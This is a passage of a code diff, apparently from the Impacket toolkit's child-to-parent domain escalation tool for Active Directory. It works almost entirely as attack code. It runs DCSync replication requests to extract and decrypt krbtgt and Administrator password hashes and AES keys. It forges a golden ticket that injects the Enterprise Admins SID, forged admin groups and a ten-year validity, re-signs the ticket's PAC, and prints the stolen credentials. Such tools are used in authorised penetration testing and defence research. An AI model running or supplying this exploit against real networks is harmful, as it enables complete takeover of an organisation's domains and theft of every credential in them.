+                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')
+            else:
+                raise
+        except Exception:
+            logging.debug('Error while anonymous logging into %s' % machineIP)
+        else:
+            s.logoff()
+        return s.getServerName()
+
+    @staticmethod
+    def getDNSMachineName(machineIP):
+        try:
+            s = SMBConnection(machineIP, machineIP)
+            s.login('', '')
+        except OSError as e:
+            if str(e).find('timed out') > 0:
+                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
+                                'corresponding NetBIOS name or FQDN instead of IP address.')
+            else:
+                raise
+        except SessionError as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
+                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')
+            else:
+                raise
+        except Exception:
+            logging.debug('Error while anonymous logging into %s' % machineIP)
+        else:
+            s.logoff()
+        return s.getServerName() + '.' + s.getServerDNSDomainName()
+
+    def getParentSidAndTargetName(self, parentDC, creds, targetRID):
+        if self.__doKerberos is True:
+            # In Kerberos we need the target's name
+            machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC))
+            logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp))
+        else:
+            machineNameOrIp = gethostbyname(parentDC)
+
+        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
+        stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
+                                         creds['nthash'], creds['aesKey'])
+            rpctransport.set_kerberos(self.__doKerberos)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(MSRPC_UUID_LSAT)
+
+        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
+        policyHandle = resp['PolicyHandle']
+
+        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+
+        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+
+        # Now that we have the Sid, let's get the Administrator's account name
+        sids = list()
+        sids.append(domainSid+'-'+targetRID)
+        resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta)
+        targetName = resp['TranslatedNames']['Names'][0]['Name']
+
+        return domainSid, targetName
+
+    def __connectDrds(self, domainName, creds):
+        if self.__doKerberos is True or creds['TGT'] is not None:
+            # In Kerberos we need the target's name
+            machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName))
+            logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp))
+        else:
+            machineNameOrIp = gethostbyname(domainName)
+        stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI,
+                                     protocol='ncacn_ip_tcp')
+        rpc = transport.DCERPCTransportFactory(stringBinding)
+        if hasattr(rpc, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            if creds['TGT'] is not None:
+                rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT'])
+                rpc.set_kerberos(True)
+            else:
+                rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
+                                    creds['nthash'], creds['aesKey'])
+                rpc.set_kerberos(self.__doKerberos)
+        self.__drsr = rpc.get_dce_rpc()
+        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        if self.__doKerberos or creds['TGT'] is not None:
+            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        self.__drsr.connect()
+        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
+
+        request = drsuapi.DRSBind()
+        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
+        drs = drsuapi.DRS_EXTENSIONS_INT()
+        drs['cb'] = len(drs) #- 4
+        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\
+                         drsuapi.DRS_EXT_STRONG_ENCRYPTION
+        drs['SiteObjGuid'] = drsuapi.NULLGUID
+        drs['Pid'] = 0
+        drs['dwReplEpoch'] = 0
+        drs['dwFlagsExt'] = 0
+        drs['ConfigObjGUID'] = drsuapi.NULLGUID
+        drs['dwExtCaps'] = 127
+        request['pextClient']['cb'] = len(drs.getData())
+        request['pextClient']['rgb'] = list(drs.getData())
+        resp = self.__drsr.request(request)
+
+        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
+        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
+        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
+
+        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
+        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
+        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
+        drsExtensionsInt.fromString(ppextServer)
+
+        if drsExtensionsInt['dwReplEpoch'] != 0:
+            # Different epoch, we have to call DRSBind again
+            if logging.getLogger().level == logging.DEBUG:
+                logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
+                    'dwReplEpoch'])
+            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
+            request['pextClient']['cb'] = len(drs)
+            request['pextClient']['rgb'] = list(drs.getData())
+            resp = self.__drsr.request(request)
+
+        self.__hDrs = resp['phDrs']
+
+        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
+        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2)
+
+        if resp['pmsgOut']['V2']['cItems'] > 0:
+            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
+        else:
+            logging.error("Couldn't get DC info for domain %s" % domainName)
+            raise Exception('Fatal, aborting')
+
+    def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
+                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None):
+        if self.__drsr is None:
+            self.__connectDrds(target, creds)
+
+        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
+        return resp
+
+    def __decryptSupplementalInfo(self, record, prefixTable=None):
+        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
+        plainText = None
+        for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
+            try:
+                attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
+                LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
+            except Exception as e:
+                logging.debug('Failed to execute OidFromAttid with error %s' % e)
+                # Fallbacking to fixed table and hope for the best
+                attId = attr['attrTyp']
+                LOOKUP_TABLE = self.NAME_TO_ATTRTYP
+
+            if attId == LOOKUP_TABLE['supplementalCredentials']:
+                if attr['AttrVal']['valCount'] > 0:
+                    blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                    plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob)
+                    if len(plainText) < 24:
+                        plainText = None
+
+        if plainText:
+            try:
+                userProperties = samr.USER_PROPERTIES(plainText)
+            except:
+                # On some old w2k3 there might be user properties that don't
+                # match [MS-SAMR] structure, discarding them
+                return
+            propertiesData = userProperties['UserProperties']
+            for propertyCount in range(userProperties['PropertyCount']):
+                userProperty = samr.USER_PROPERTY(propertiesData)
+                propertiesData = propertiesData[len(userProperty):]
+                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
+                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
+                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
+                    data = kerbStoredCredentialNew['Buffer']
+                    for credential in range(kerbStoredCredentialNew['CredentialCount']):
+                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)
+                        data = data[len(keyDataNew):]
+                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
+
+                        if  keyDataNew['KeyType'] in self.KERBEROS_TYPE:
+                            # Give me only the AES256
+                            if keyDataNew['KeyType'] == 18:
+                                return hexlify(keyValue)
+
+        return None
+
+    def __decryptHash(self, record, prefixTable=None):
+        logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
+        rid = 0
+        LMHash = None
+        NTHash = None
+        for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
+            try:
+                attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
+                LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
+            except Exception as e:
+                logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
+                # Fallbacking to fixed table and hope for the best
+                attId = attr['attrTyp']
+                LOOKUP_TABLE = self.NAME_TO_ATTRTYP
+            if attId == LOOKUP_TABLE['dBCSPwd']:
+                if attr['AttrVal']['valCount'] > 0:
+                    encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                    encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd)
+                else:
+                    LMHash = LMOWFv1('', '')
+            elif attId == LOOKUP_TABLE['unicodePwd']:
+                if attr['AttrVal']['valCount'] > 0:
+                    encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                    encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd)
+                else:
+                    NTHash = NTOWFv1('', '')
+            elif attId == LOOKUP_TABLE['objectSid']:
+                if attr['AttrVal']['valCount'] > 0:
+                    objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                    rid = unpack('<L', objectSid[-4:])[0]
+                else:
+                    raise Exception('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
+
+        if LMHash is None:
+            LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
+        if NTHash is None:
+            NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
+        return rid, hexlify(LMHash), hexlify(NTHash)
+
+    def DRSGetNCChanges(self, userEntry, creds):
+        if self.__drsr is None:
+            self.__connectDrds(creds)
+
+        request = drsuapi.DRSGetNCChanges()
+        request['hDrs'] = self.__hDrs
+        request['dwInVersion'] = 8
+
+        request['pmsgIn']['tag'] = 8
+        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
+        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
+
+        dsName = drsuapi.DSNAME()
+        dsName['SidLen'] = 0
+        dsName['Guid'] = drsuapi.NULLGUID
+        dsName['Sid'] = ''
+        dsName['NameLen'] = len(userEntry)
+        dsName['StringName'] = (userEntry + '\x00')
+
+        dsName['structLen'] = len(dsName.getData())
+
+        request['pmsgIn']['V8']['pNC'] = dsName
+
+        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
+        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
+
+        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
+
+        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
+        request['pmsgIn']['V8']['cMaxObjects'] = 1
+        request['pmsgIn']['V8']['cMaxBytes'] = 0
+        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
+        if self.__ppartialAttrSet is None:
+            self.__prefixTable = []
+            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
+            self.__ppartialAttrSet['dwVersion'] = 1
+            self.__ppartialAttrSet['cAttrs'] = len(self.ATTRTYP_TO_ATTID)
+            for attId in list(self.ATTRTYP_TO_ATTID.values()):
+                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
+        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
+        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
+        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
+        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
+
+        return self.__drsr.request(request)
+
+    def getCredentials(self, userName, domain, creds = None):
+        upn = '%s@%s' % (userName, domain)
+        try:
+            crackedName = self.DRSCrackNames(domain, drsuapi.DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME, name = upn, creds=creds)
+
+            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
+                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] == 0:
+                    userRecord = self.DRSGetNCChanges(
+                        crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1], creds)
+                    # userRecord.dump()
+                    if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
+                        raise Exception('DRSGetNCChanges didn\'t return any object!')
+                else:
+                    raise Exception('DRSCrackNames status returned error 0x%x' %
+                                    crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'])
+            else:
+                raise Exception('DRSCrackNames returned %d items for user %s' % (
+                crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
+
+            rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
+            aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
+        except Exception as e:
+            logging.debug('Exception:', exc_info=True)
+            logging.error("Error while processing user!")
+            logging.error(str(e))
+            raise
+
+        self.__drsr.disconnect()
+        self.__drsr = None
+        creds = {}
+        creds['lmhash'] = lmhash
+        creds['nthash'] = nthash
+        creds['aesKey'] = aesKey
+        return rid, creds
+
+    @staticmethod
+    def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid):
+        asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+
+        # Let's extract Ticket's enc-data
+        cipherText = asRep['ticket']['enc-part']['cipher']
+
+        cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
+        if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
+            key = Key(cipher.enctype, unhexlify(aesKey))
+        elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
+            key = Key(cipher.enctype, unhexlify(ntHash))
+        else:
+            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
+
+        # Key Usage 2
+        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
+        # key or application session key), encrypted with the
+        # service key (Section 5.3)
+        plainText = cipher.decrypt(key, 2, cipherText)
+        #hexdump(plainText)
+
+        encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0]
+
+        # Let's extend the ticket's validity a lil bit
+        tenYearsFromNow = datetime.datetime.utcnow() + datetime.timedelta(days=365*10)
+        encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow)
+        encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow)
+        #print encTicketPart.prettyPrint()
+
+        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec =AD_IF_RELEVANT())[0]
+        #print adIfRelevant.prettyPrint()
+
+        # So here we have the PAC
+        pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
+        buffers = pacType['Buffers']
+        pacInfos = {}
+
+        for nBuf in range(pacType['cBuffers']):
+            infoBuffer = PAC_INFO_BUFFER(buffers)
+            data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
+            pacInfos[infoBuffer['ulType']] = data
+            buffers = buffers[len(infoBuffer):]
+
+        # Let's locate the KERB_VALIDATION_INFO and Checksums
+        if PAC_LOGON_INFO in pacInfos:
+            data = pacInfos[PAC_LOGON_INFO]
+            validationInfo = VALIDATION_INFO()
+            validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
+            lenVal = len(validationInfo.getData())
+            validationInfo.fromStringReferents(data, lenVal)
+
+            if logging.getLogger().level == logging.DEBUG:
+                logging.debug('VALIDATION_INFO before making it gold')
+                validationInfo.dump()
+                print ('\n')
+
+            # Our Golden Well-known groups! :)
+            groups = (513, 512, 520, 518, 519)
+            validationInfo['Data']['GroupIds'] = list()
+            validationInfo['Data']['GroupCount'] = len(groups)
+
+            for group in groups:
+                groupMembership = GROUP_MEMBERSHIP()
+                groupId = NDRULONG()
+                groupId['Data'] = group
+                groupMembership['RelativeId'] = groupId
+                groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+                validationInfo['Data']['GroupIds'].append(groupMembership)
+
+            # Let's add the extraSid
+            if validationInfo['Data']['SidCount'] == 0:
+                # Let's be sure user's flag specify we have extra sids.
+                validationInfo['Data']['UserFlags'] |= 0x20
+                validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
+
+            validationInfo['Data']['SidCount'] += 1
+
+            sidRecord = KERB_SID_AND_ATTRIBUTES()
+
+            sid = RPC_SID()
+            sid.fromCanonical(extraSid)
+
+            sidRecord['Sid'] = sid
+            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+
+            # And, let's append the magicSid
+            validationInfo['Data']['ExtraSids'].append(sidRecord)
+
+            validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
+            validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
+
+            if logging.getLogger().level == logging.DEBUG:
+                logging.debug('VALIDATION_INFO after making it gold')
+                validationInfo.dump()
+                print ('\n')
+        else:
+            raise Exception('PAC_LOGON_INFO not found! Aborting')
+
+        # Let's now clear the checksums
+        if PAC_SERVER_CHECKSUM in pacInfos:
+            serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
+            if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
+                serverChecksum['Signature'] = b'\x00'*12
+            else:
+                serverChecksum['Signature'] = b'\x00'*16
+        else:
+            raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
+
+        if PAC_PRIVSVR_CHECKSUM in pacInfos:
+            privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
+            privSvrChecksum['Signature'] = b'\x00'*12
+            if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
+                privSvrChecksum['Signature'] = b'\x00'*12
+            else:
+                privSvrChecksum['Signature'] = b'\x00'*16
+        else:
+            raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
+
+        if PAC_CLIENT_INFO_TYPE in pacInfos:
+            pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
+            pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
+        else:
+            raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
+
+
+        # We changed everything we needed to make us special. Now let's repack and calculate checksums
+        serverChecksumBlob = serverChecksum.getData()
+        serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
+
+        privSvrChecksumBlob = privSvrChecksum.getData()
+        privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
+
+        # The offset are set from the beginning of the PAC_TYPE
+        # [MS-PAC] 2.4 PAC_INFO_BUFFER
+        offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
+
+        # Let's build the PAC_INFO_BUFFER for each one of the elements
+        validationInfoIB = PAC_INFO_BUFFER()
+        validationInfoIB['ulType'] = PAC_LOGON_INFO
+        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
+        validationInfoIB['Offset'] = offsetData
+        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
+
+        pacClientInfoIB = PAC_INFO_BUFFER()
+        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
+        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
+        pacClientInfoIB['Offset'] = offsetData
+        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
+
+        serverChecksumIB = PAC_INFO_BUFFER()
+        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
+        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
+        serverChecksumIB['Offset'] = offsetData
+        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
+
+        privSvrChecksumIB = PAC_INFO_BUFFER()
+        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
+        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
+        privSvrChecksumIB['Offset'] = offsetData
+        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
+
+        # Building the PAC_TYPE as specified in [MS-PAC]
+        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
+            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
+            pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
+        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
+
+        pacType = PACTYPE()
+        pacType['cBuffers'] = 4
+        pacType['Version'] = 0
+        pacType['Buffers'] = buffers + buffersTail
+
+        blobToChecksum = pacType.getData()
+
+        # If you want to do MD5, ucomment this
+        checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
+        if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
+            keyServer = Key(Enctype.AES256, unhexlify(aesKey))
+        elif serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value:
+            keyServer = Key(Enctype.RC4, unhexlify(ntHash))
+        else:
+            raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'] )
+
+        checkSumFunctionPriv= _checksum_table[privSvrChecksum['SignatureType']]
+        if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
+            keyPriv = Key(Enctype.AES256, unhexlify(aesKey))
+        elif privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value:
+            keyPriv = Key(Enctype.RC4, unhexlify(ntHash))
+        else:
+            raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'] )
+
+        serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, 17, blobToChecksum)
+        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, 17, serverChecksum['Signature'])
+
+        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
+        pacType['Buffers'] = buffers + buffersTail
+
+        authorizationData = AuthorizationData()
+        authorizationData[0] = noValue
+        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
+        authorizationData[0]['ad-data'] = pacType.getData()
+        authorizationData = encoder.encode(authorizationData)
+
+        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
+
+        encodedEncTicketPart = encoder.encode(encTicketPart)
+
+        cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
+        if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
+            key = Key(cipher.enctype, unhexlify(aesKey))
+        elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
+            key = Key(cipher.enctype, unhexlify(ntHash))
+        else:
+            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
+
+        # Key Usage 2
+        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
+        # key or application session key), encrypted with the
+        # service key (Section 5.3)
+        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
+
+        asRep['ticket']['enc-part']['cipher'] = cipherText
+
+        return encoder.encode(asRep), originalCipher, sessionKey
+
+    def raiseUp(self, childName, childCreds, parentName):
+        logging.info('Raising %s to %s' % (childName, parentName))
+
+        # 3) Get the parents's Enterprise Admin SID (via [MS-LSAT])
+        entepriseSid, targetName = self.getParentSidAndTargetName(parentName, childCreds, self.__targetRID)
+        logging.info('%s Enterprise Admin SID is: %s-519' % (parentName,entepriseSid))
+
+        # 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
+        targetUser = 'krbtgt'
+        logging.info('Getting credentials for %s' % childName)
+        rid, credentials = self.getCredentials(targetUser, childName, childCreds)
+        print('%s/%s:%s:%s:%s:::' % (
+        childName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))
+        print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (childName, targetUser, credentials['aesKey'].decode('utf-8')))
+
+        # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
+        userName = Principal(childCreds['username'], type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        TGT = {}
+        TGS = {}
+        while True:
+            try:
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, childCreds['password'],
+                                                                        childCreds['domain'], childCreds['lmhash'],
+                                                                        childCreds['nthash'], None, self.__kdcHost)
+            except KerberosError as e:
+                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                    # We might face this if the target does not support AES (most probably
+                    # Windows XP). So, if that's the case we'll force using RC4 by converting
+                    # the password to lm/nt hashes and hope for the best. If that's already
+                    # done, byebye.
+                    if childCreds['lmhash'] == '' and childCreds['nthash'] == '':
+                        from impacket.ntlm import compute_lmhash, compute_nthash
+                        childCreds['lmhash'] = compute_lmhash(childCreds['password'])
+                        childCreds['nthash'] = compute_nthash(childCreds['password'])
+                        continue
+                    else:
+                        raise
+                else:
+                    raise
+
+            # We have a TGT, let's make it golden
+            goldenTicket, cipher, sessionKey = self.makeGolden(tgt, cipher, sessionKey, credentials['nthash'],
+                                                               credentials['aesKey'], entepriseSid + '-519')
+            TGT['KDC_REP'] = goldenTicket
+            TGT['cipher'] = cipher
+            TGT['oldSessionKey'] = oldSessionKey
+            TGT['sessionKey'] = sessionKey
+
+            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
+            if self.__target is None:
+                serverName = Principal('cifs/%s' % self.getMachineName(gethostbyname(parentName)),
+                                       type=constants.PrincipalNameType.NT_SRV_INST.value)
+            else:
+                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            try:
+                logging.debug('Getting TGS for SPN %s' % serverName)
+                tgsCIFS, cipherCIFS, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName,
+                                                                                        childCreds['domain'], None,
+                                                                                        goldenTicket, cipher,
+                                                                                        sessionKey)
+                TGS['KDC_REP'] = tgsCIFS
+                TGS['cipher'] = cipherCIFS
+                TGS['oldSessionKey'] = oldSessionKeyCIFS
+                TGS['sessionKey'] = sessionKeyCIFS
+                break
+            except KerberosError as e:
+                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                    # We might face this if the target does not support AES (most probably
+                    # Windows XP). So, if that's the case we'll force using RC4 by converting
+                    # the password to lm/nt hashes and hope for the best. If that's already
+                    # done, byebye.
+                    if childCreds['lmhash'] == '' and childCreds['nthash'] == '':
+                        from impacket.ntlm import compute_lmhash, compute_nthash
+                        childCreds['lmhash'] = compute_lmhash(childCreds['password'])
+                        childCreds['nthash'] = compute_nthash(childCreds['password'])
+                    else:
+                        raise
+                else:
+                    raise
+
+        # 6) Use the generated ticket to log into the parent and get the krbtgt/admin info
+        # 6) Use the generated ticket to log into the parent and get the target-user info
+        logging.info('Getting credentials for %s' % parentName)
+        targetUser = 'krbtgt'
+        childCreds['TGT'] = TGT
+        rid, credentials = self.getCredentials(targetUser, parentName, childCreds)
+        print('%s/%s:%s:%s:%s:::' % (
+        parentName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))
+        print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetUser, credentials['aesKey'].decode("utf-8")))
+
+        ################ Get TargetUser credentials (Administrator credentials by default)
+        logging.info('Target User account name is %s' % targetName)
+        rid, credentials = self.getCredentials(targetName, parentName, childCreds)
+        print('%s/%s:%s:%s:%s:::' % (parentName, targetName, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))
+        print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetName, credentials['aesKey'].decode('utf-8')))
+
+        targetCreds = {}
+        targetCreds['username'] = targetName
+        targetCreds['password'] = ''
+        targetCreds['domain'] = parentName
+        targetCreds['lmhash'] = credentials['lmhash']
+        targetCreds['nthash'] = credentials['nthash']
+        targetCreds['aesKey'] = credentials['aesKey']
+        targetCreds['TGT'] =  None
+        targetCreds['TGS'] =  None
+        return targetCreds, TGT, TGS
+
+    def exploit(self):
